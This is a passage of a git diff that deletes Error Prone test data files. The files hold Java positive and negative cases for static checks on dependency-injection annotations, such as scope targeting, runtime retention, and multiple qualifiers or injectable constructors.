java.lang.annotation.Retention; -import java.lang.annotation.Target; -import javax.inject.Scope; - -/** - * @author sgoldfeder@google.com(Steven Goldfeder) - */ -public class InvalidTargetingOnScopingAnnotationNegativeCases { - - /** A scoping annotation with no specified target. */ - @Scope - @Retention(RUNTIME) - public @interface TestAnnotation1 {} - - /** A scoping annotation that contains more than the required */ - @Target({TYPE, METHOD, PARAMETER}) - @Scope - @Retention(RUNTIME) - public @interface TestAnnotation2 {} - - /** A scoping annotation with legal targeting. */ - @Target({TYPE, METHOD}) - @Scope - @Retention(RUNTIME) - public @interface TestAnnotation3 {} - - /** - * A non-scoping annotation with targeting that would be illegal if it were a scoping annotation. - */ - @Target(PARAMETER) - @Retention(RUNTIME) - public @interface TestAnnotation4 {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InvalidTargetingOnScopingAnnotationPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InvalidTargetingOnScopingAnnotationPositiveCases.java deleted file mode 100644 index 77f124c5ab7..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/InvalidTargetingOnScopingAnnotationPositiveCases.java +++ /dev/null @@ -1,77 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import static java.lang.annotation.ElementType.CONSTRUCTOR; -import static java.lang.annotation.ElementType.METHOD; -import static java.lang.annotation.ElementType.PARAMETER; -import static java.lang.annotation.ElementType.TYPE; -import static java.lang.annotation.RetentionPolicy.RUNTIME; - -import com.google.inject.ScopeAnnotation; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.Target; -import javax.inject.Scope; - -/** - * @author sgoldfeder@google.com(Steven Goldfeder) - */ -public class InvalidTargetingOnScopingAnnotationPositiveCases { - - /** Scoping excludes METHOD */ - // BUG: Diagnostic contains: @Target({TYPE, METHOD}) - @Target(TYPE) - @Scope - @Retention(RUNTIME) - public @interface TestAnnotation1 {} - - /** Scoping excludes TYPE */ - // BUG: Diagnostic contains: @Target({TYPE, METHOD}) - @Target(METHOD) - @Scope - @Retention(RUNTIME) - public @interface TestAnnotation2 {} - - /** Scoping excludes both, but has other elements to preserve */ - // BUG: Diagnostic contains: @Target({TYPE, METHOD, PARAMETER}) - @Target(PARAMETER) - @Scope - @Retention(RUNTIME) - public @interface TestAnnotation4 {} - - /** Scoping includes one of the required ones. */ - // BUG: Diagnostic contains: @Target({TYPE, METHOD, PARAMETER, CONSTRUCTOR}) - @Target({PARAMETER, METHOD, CONSTRUCTOR}) - @Scope - @Retention(RUNTIME) - public @interface TestAnnotation5 {} - - /** Same as above, but with a different physical manifestation */ - // BUG: Diagnostic contains: @Target({TYPE, METHOD, PARAMETER, CONSTRUCTOR}) - @Target(value = {ElementType.PARAMETER, METHOD, CONSTRUCTOR}) - @Scope - @Retention(RUNTIME) - public @interface TestAnnotation6 {} - - /** Target annotation is empty, nonsensical since it can't be applied to anything */ - // BUG: Diagnostic contains: @Target({TYPE, METHOD}) - @Target({}) - @ScopeAnnotation - @Retention(RUNTIME) - public @interface TestAnnotation7 {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/JavaxInjectOnAbstractMethodNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/JavaxInjectOnAbstractMethodNegativeCases.java deleted file mode 100644 index 05afa16282b..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/JavaxInjectOnAbstractMethodNegativeCases.java +++ /dev/null @@ -1,63 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import javax.inject.Inject; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class JavaxInjectOnAbstractMethodNegativeCases { - - /** Concrete class has no methods or annotations. */ - public class TestClass1 {} - - /** Abstract class has a single abstract method with no annotation. */ - public abstract class TestClass2 { - abstract void abstractMethod(); - } - - /** Concrete class has an injectable method. */ - public class TestClass3 { - @Inject - public void foo() {} - } - - /** Abstract class has an injectable concrete method. */ - public abstract class TestClass4 { - abstract void abstractMethod(); - - @Inject - public void concreteMethod() {} - } - - /** - * Abstract class has an com.google.inject.Inject abstract method (This is allowed; Injecting - * abstract methods is only forbidden with javax.inject.Inject). - */ - public abstract class TestClass5 { - @com.google.inject.Inject - abstract void abstractMethod(); - } - - /** Abstract class has an injectable(javax.inject.Inject) abstract method. Error is suppressed. */ - public abstract class TestClass6 { - @SuppressWarnings("JavaxInjectOnAbstractMethod") - @javax.inject.Inject - abstract void abstractMethod(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/JavaxInjectOnAbstractMethodPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/JavaxInjectOnAbstractMethodPositiveCases.java deleted file mode 100644 index 9afd3df9eff..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/JavaxInjectOnAbstractMethodPositiveCases.java +++ /dev/null @@ -1,80 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class JavaxInjectOnAbstractMethodPositiveCases { - - /** Abstract class has an injectable(javax.inject.Inject) abstract method. */ - public abstract class TestClass1 { - // BUG: Diagnostic contains: remove - @javax.inject.Inject - abstract void abstractMethod(); - } - - /** - * Abstract class has an injectable(javax.inject.Inject) abstract method and an unrelated concrete - * method. - */ - public abstract class TestClass2 { - // BUG: Diagnostic contains: remove - @javax.inject.Inject - abstract void abstractMethod(); - - public void foo() {} - } - - /** - * Abstract class has an injectable(javax.inject.Inject) abstract method and an unrelated abstract - * method. - */ - public abstract class TestClass3 { - // BUG: Diagnostic contains: remove - @javax.inject.Inject - abstract void abstractMethod1(); - - abstract void abstractMethod2(); - } - - /** Interface with Inject method, should also fail. */ - public interface TestInterface { - // BUG: Diagnostic contains: remove - @javax.inject.Inject - void abstractMethod(); - } - - /** Concrete Implementer of interface. */ - public class Implementing implements TestInterface { - // No error here - public void abstractMethod() {} - } - - /** Abstract implementer of interface. */ - public abstract class AbstractImplementing implements TestInterface { - // BUG: Diagnostic contains: remove - @javax.inject.Inject - public abstract void abstractMethod(); - } - - interface HasDefault { - // BUG: Diagnostic contains: remove - @javax.inject.Inject - default void foo() {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/JavaxInjectOnFinalFieldNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/JavaxInjectOnFinalFieldNegativeCases.java deleted file mode 100644 index bdbfe7ccb6a..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/JavaxInjectOnFinalFieldNegativeCases.java +++ /dev/null @@ -1,44 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import javax.inject.Inject; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class JavaxInjectOnFinalFieldNegativeCases { - - /** Class has no final fields or @Inject annotations. */ - public class TestClass1 {} - - /** Class has a final field that is not injectable. */ - public class TestClass2 { - public final int n = 0; - } - - /** Class has an injectable(javax.inject.Inject) field that is not final. */ - public class TestClass3 { - @Inject public int n; - } - - /** Class has an injectable(javax.inject.Inject), final method. */ - public class TestClass4 { - @Inject - final void method() {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/JavaxInjectOnFinalFieldPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/JavaxInjectOnFinalFieldPositiveCases.java deleted file mode 100644 index e9134855a7a..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/JavaxInjectOnFinalFieldPositiveCases.java +++ /dev/null @@ -1,34 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import javax.inject.Inject; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class JavaxInjectOnFinalFieldPositiveCases { - - /** - * Class has a final injectable(javax.inject.Inject) field. - */ - public class TestClass1 { - // BUG: Diagnostic contains: remove - @Inject - public final int n = 0; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MissingRuntimeRetentionNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MissingRuntimeRetentionNegativeCases.java deleted file mode 100644 index 2b2bfa25012..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MissingRuntimeRetentionNegativeCases.java +++ /dev/null @@ -1,72 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import static java.lang.annotation.ElementType.METHOD; -import static java.lang.annotation.ElementType.TYPE; -import static java.lang.annotation.RetentionPolicy.RUNTIME; -import static java.lang.annotation.RetentionPolicy.SOURCE; - -import com.google.inject.BindingAnnotation; -import com.google.inject.ScopeAnnotation; -import java.lang.annotation.Retention; -import java.lang.annotation.Target; -import javax.inject.Qualifier; -import javax.inject.Scope; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class MissingRuntimeRetentionNegativeCases { - /** A scoping (@Scope) annotation with runtime retention */ - @Scope - @Target({TYPE, METHOD}) - @Retention(RUNTIME) - public @interface TestAnnotation1 {} - - /** A scoping (@ScopingAnnotation) annotation with runtime retention. */ - @ScopeAnnotation - @Target({TYPE, METHOD}) - @Retention(RUNTIME) - public @interface TestAnnotation2 {} - - /** A qualifier (@Qualifier) annotation with runtime retention. */ - @Qualifier - @Target({TYPE, METHOD}) - @Retention(RUNTIME) - public @interface TestAnnotation3 {} - - /** A qualifier (@BindingAnnotation) annotation with runtime retention. */ - @BindingAnnotation - @Target({TYPE, METHOD}) - @Retention(RUNTIME) - public @interface TestAnnotation4 {} - - /** A non-qualifier, non-scoping annotation without runtime retention. */ - @Retention(SOURCE) - public @interface TestAnnotation5 {} - - /** A dagger map key annotation. */ - @dagger.MapKey - @Retention(RUNTIME) - public @interface TestAnnotation6 {} - - /** A Guice map key annotation. */ - @com.google.inject.multibindings.MapKey - @Retention(RUNTIME) - public @interface TestAnnotation7 {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MissingRuntimeRetentionPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MissingRuntimeRetentionPositiveCases.java deleted file mode 100644 index c3301797b1a..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MissingRuntimeRetentionPositiveCases.java +++ /dev/null @@ -1,79 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import static java.lang.annotation.ElementType.METHOD; -import static java.lang.annotation.ElementType.TYPE; -import static java.lang.annotation.RetentionPolicy.SOURCE; - -import com.google.inject.BindingAnnotation; -import com.google.inject.ScopeAnnotation; -import java.lang.annotation.Retention; -import java.lang.annotation.Target; -import javax.inject.Qualifier; -import javax.inject.Scope; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class MissingRuntimeRetentionPositiveCases { - /** A scoping (@Scope) annotation with SOURCE retention */ - @Scope - @Target({TYPE, METHOD}) - // BUG: Diagnostic contains: @Retention(RUNTIME) - @Retention(SOURCE) - public @interface TestAnnotation1 {} - - /** A scoping (@ScopingAnnotation) annotation with SOURCE retention. */ - @ScopeAnnotation - @Target({TYPE, METHOD}) - // BUG: Diagnostic contains: @Retention(RUNTIME) - @Retention(SOURCE) - public @interface TestAnnotation2 {} - - /** A qualifier (@Qualifier) annotation with SOURCE retention. */ - @Qualifier - @Target({TYPE, METHOD}) - // BUG: Diagnostic contains: @Retention(RUNTIME) - @Retention(SOURCE) - public @interface TestAnnotation3 {} - - /** A qualifier (@BindingAnnotation) annotation with SOURCE retention. */ - @BindingAnnotation - @Target({TYPE, METHOD}) - // BUG: Diagnostic contains: @Retention(RUNTIME) - @Retention(SOURCE) - public @interface TestAnnotation4 {} - - /** A qualifier annotation with default retention. */ - @BindingAnnotation - @Target({TYPE, METHOD}) - // BUG: Diagnostic contains: @Retention(RUNTIME) - public @interface TestAnnotation5 {} - - /** A dagger map key annotation with default retention. */ - @dagger.MapKey - @Target({TYPE, METHOD}) - // BUG: Diagnostic contains: @Retention(RUNTIME) - public @interface TestAnnotation6 {} - - /** A Guice map key annotation with default retention. */ - @com.google.inject.multibindings.MapKey - @Target({TYPE, METHOD}) - // BUG: Diagnostic contains: @Retention(RUNTIME) - public @interface TestAnnotation7 {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneInjectableConstructorNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneInjectableConstructorNegativeCases.java deleted file mode 100644 index 79864785fa5..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneInjectableConstructorNegativeCases.java +++ /dev/null @@ -1,85 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.inject.Inject; - -/** - * @author sgoldfeder@google.com(Steven Goldfeder) - */ -public class MoreThanOneInjectableConstructorNegativeCases { - - /** Class has a single non-injectable constructor. */ - public class TestClass1 { - public TestClass1() {} - } - - /** Class has a single injectable constructor. */ - public class TestClass2 { - @Inject - public TestClass2() {} - } - - /** Class has two constructors, one of which is injectable. */ - public class TestClass3 { - @Inject - public TestClass3() {} - - public TestClass3(int n) {} - } - - /** Class has two constructors, one of which is injectable. Class also has an injectable field. */ - public class TestClass4 { - - @Inject String x; - - @Inject - public TestClass4() {} - - public TestClass4(int n) {} - } - - /** Class has 2 constructors, both are injectable. Error is suppressed. */ - @SuppressWarnings("MoreThanOneInjectableConstructor") - public class TestClass5 { - @Inject - public TestClass5() {} - - @Inject - public TestClass5(int n) {} - } - - /** Suppressed class */ - @SuppressWarnings("inject-constructors") - public class TestClass6 { - @Inject - public TestClass6() {} - - @Inject - public TestClass6(int n) {} - } - - /** Suppressed class */ - @SuppressWarnings("InjectMultipleAtInjectConstructors") - public class TestClass7 { - @Inject - public TestClass7() {} - - @Inject - public TestClass7(int n) {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneInjectableConstructorPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneInjectableConstructorPositiveCases.java deleted file mode 100644 index c8fe6ad01ec..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneInjectableConstructorPositiveCases.java +++ /dev/null @@ -1,75 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.inject.Inject; -import java.beans.ConstructorProperties; - -/** - * @author sgoldfeder@google.com(Steven Goldfeder) - */ -public class MoreThanOneInjectableConstructorPositiveCases { - - /** Class has 2 constructors, both are injectable */ - // BUG: Diagnostic contains: MoreThanOneInjectableConstructor - public class TestClass1 { - @Inject - public TestClass1() {} - - @Inject - public TestClass1(int n) {} - } - - /** Class has 3 constructors, two of which are injectable. */ - // BUG: Diagnostic contains: MoreThanOneInjectableConstructor - public class TestClass2 { - @Inject - public TestClass2() {} - - public TestClass2(int n) {} - - @Inject - public TestClass2(String s) {} - } - - /** - * testing that the error appears on the @Inject annotation even in the presence of other - * annotations - */ - // BUG: Diagnostic contains: MoreThanOneInjectableConstructor - public class TestClass3 { - @Inject - public TestClass3() {} - - @Inject - @ConstructorProperties({"m", "n"}) - public TestClass3(int m, int n) {} - } - - /** Fails on 3 constructors w/ @Inject */ - // BUG: Diagnostic contains: MoreThanOneInjectableConstructor - public class TestClass4 { - @Inject - public TestClass4() {} - - @Inject - public TestClass4(int m, int n) {} - - @Inject - public TestClass4(int m, int n, boolean x) {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneQualifierNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneQualifierNegativeCases.java deleted file mode 100644 index dc2a7c4861d..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneQualifierNegativeCases.java +++ /dev/null @@ -1,75 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import static java.lang.annotation.RetentionPolicy.RUNTIME; - -import com.google.inject.BindingAnnotation; -import java.lang.annotation.Retention; -import javax.inject.Qualifier; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class MoreThanOneQualifierNegativeCases { - /** A class in with no annotations on any of its members. */ - public class TestClass1 { - private int n; - - public TestClass1() {} - - public void setN(int n) {} - } - - /** - * A class in which a single javax.inject.Qualifier annotation is on the class, on a constructor, - * on a field, on a method, and on a method parameter. - */ - @Foo - public class TestClass2 { - @Foo private int n; - - @Foo - public TestClass2() {} - - @Foo - public void setN(@Foo int n) {} - } - - /** - * A class in which a single com.google.inject.BindingAnnotation annotation is on the class, on a - * constructor, on a field, on a method, and on a method parameter. - */ - @Bar - public class TestClass3 { - @Bar private int n; - - @Bar - public TestClass3() {} - - @Bar - public void setN(@Bar int n) {} - } - - @Qualifier - @Retention(RUNTIME) - public @interface Foo {} - - @BindingAnnotation - @Retention(RUNTIME) - public @interface Bar {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneQualifierPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneQualifierPositiveCases.java deleted file mode 100644 index e6524c92f39..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneQualifierPositiveCases.java +++ /dev/null @@ -1,146 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import static java.lang.annotation.RetentionPolicy.RUNTIME; - -import com.google.inject.BindingAnnotation; -import java.lang.annotation.Retention; -import javax.inject.Qualifier; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class MoreThanOneQualifierPositiveCases { - - /** - * A class in which the class, a constructor, a field, a method, and a method parameter each have - * two com.google.inject.BindingAnnotation annotations. - */ - // BUG: Diagnostic contains: remove - @Foo1 - // BUG: Diagnostic contains: remove - @Foo2 - public class TestClass1 { - // BUG: Diagnostic contains: remove - @Foo1 - // BUG: Diagnostic contains: remove - @Foo2 - private int n; - - // BUG: Diagnostic contains: remove - @Foo1 - // BUG: Diagnostic contains: remove - @Foo2 - public TestClass1() {} - - // BUG: Diagnostic contains: remove - @Foo1 - // BUG: Diagnostic contains: remove - @Foo2 - public void setN( - // BUG: Diagnostic contains: remove - @Foo1 - // BUG: Diagnostic contains: remove - @Foo2 - int n) {} - } - - /** - * A class in which the class, a constructor, a field, a method, and a method parameter each have - * two javax.inject.Qualifier annotations. - */ - - // BUG: Diagnostic contains: remove - @Bar1 - // BUG: Diagnostic contains: remove - @Bar2 - public class TestClass2 { - // BUG: Diagnostic contains: remove - @Bar1 - // BUG: Diagnostic contains: remove - @Bar2 - private int n; - - // BUG: Diagnostic contains: remove - @Bar1 - // BUG: Diagnostic contains: remove - @Bar2 - public TestClass2() {} - - // BUG: Diagnostic contains: remove - @Bar1 - // BUG: Diagnostic contains: remove - @Bar2 - public void setN( - // BUG: Diagnostic contains: remove - @Bar1 - // BUG: Diagnostic contains: remove - @Bar2 - int n) {} - } - - /** - * A class in which the class, a constructor, a field, a method, and a method parameter each have - * one javax.inject.Qualifier annotation and one com.google.inject.BindingAnnotation annotation. - */ - - // BUG: Diagnostic contains: remove - @Foo1 - // BUG: Diagnostic contains: remove - @Bar1 - public class TestClass3 { - // BUG: Diagnostic contains: remove - @Foo1 - // BUG: Diagnostic contains: remove - @Bar1 - private int n; - - // BUG: Diagnostic contains: remove - @Foo1 - // BUG: Diagnostic contains: remove - @Bar1 - public TestClass3() {} - - // BUG: Diagnostic contains: remove - @Foo1 - // BUG: Diagnostic contains: remove - @Bar1 - public void setN( - // BUG: Diagnostic contains: remove - @Foo1 - // BUG: Diagnostic contains: remove - @Bar1 - int n) {} - } - - @Qualifier - @Retention(RUNTIME) - public @interface Foo1 {} - - @Qualifier - @Retention(RUNTIME) - public @interface Foo2 {} - - @BindingAnnotation - @Retention(RUNTIME) - public @interface Bar1 {} - - @BindingAnnotation - @Retention(RUNTIME) - public @interface Bar2 {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneScopeAnnotationOnClassNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneScopeAnnotationOnClassNegativeCases.java deleted file mode 100644 index e6368a37dae..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneScopeAnnotationOnClassNegativeCases.java +++ /dev/null @@ -1,85 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.inject.Provides; -import com.google.inject.Singleton; -import com.google.inject.servlet.SessionScoped; -import dagger.Component; -import dagger.Subcomponent; -import dagger.producers.ProductionComponent; -import dagger.producers.ProductionSubcomponent; - -/** - * @author sgoldfeder@google.com(Steven Goldfeder) - */ -public class MoreThanOneScopeAnnotationOnClassNegativeCases { - - /** Class has no annotation. */ - public class TestClass1 {} - /** Class has a single non scoping annotation. */ - @SuppressWarnings("foo") - public class TestClass2 {} - - /** Class hasa single scoping annotation. */ - @Singleton - public class TestClass3 {} - - /** Class has two annotations, one of which is a scoping annotation. */ - @Singleton - @SuppressWarnings("foo") - public class TestClass4 {} - - /** - * Class has two annotations, one of which is a scoping annotation. Class also has a method with a - * scoping annotation. - */ - @SuppressWarnings("foo") - public class TestClass5 { - @Singleton - @Provides - public void foo() {} - } - - /** Class has two scoped annotations, but is a Dagger component */ - @Singleton - @SessionScoped - @Component - public class DaggerComponent {} - - /** Class has two scoped annotations, but is a Dagger subcomponent */ - @Singleton - @SessionScoped - @Subcomponent - public class DaggerSubcomponent {} - - /** Class has two scoped annotations, but is a Dagger component */ - @Singleton - @SessionScoped - @ProductionComponent - public class DaggerProductionComponent {} - - /** Class has two scoped annotations, but is a Dagger subcomponent */ - @Singleton - @SessionScoped - @ProductionSubcomponent - public class DaggerProductionSubcomponent {} - - /** Suppression through secondary name */ - @SuppressWarnings("MoreThanOneScopeAnnotationOnClass") - public class TestClass6 {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneScopeAnnotationOnClassPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneScopeAnnotationOnClassPositiveCases.java deleted file mode 100644 index 3be1e172487..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/MoreThanOneScopeAnnotationOnClassPositiveCases.java +++ /dev/null @@ -1,49 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.testdata; - -import com.google.inject.Singleton; -import com.google.inject.servlet.SessionScoped; -import javax.inject.Scope; - -/** - * @author sgoldfeder@google.com(Steven Goldfeder) - */ -public class MoreThanOneScopeAnnotationOnClassPositiveCases { - - /** Class has two scope annotations */ - @Singleton - @SessionScoped - // BUG: Diagnostic contains: - class TestClass1 {} - - /** Class has three annotations, two of which are scope annotations. */ - @Singleton - @SuppressWarnings("foo") - @SessionScoped - // BUG: Diagnostic contains: - class TestClass2 {} - - @Scope - @interface CustomScope {} - - @Singleton - @CustomScope - @SessionScoped - // BUG: Diagnostic contains: - class TestClass3 {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/OverlappingQualifierAndScopeAnnotationNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/OverlappingQualifierAndScopeAnnotationNegativeCases.java deleted file mode 100644 index ad1e294f689..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/testdata/OverlappingQualifierAndScopeAnnotationNegativeCases.java +++ /dev/null @@ -1,56 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or 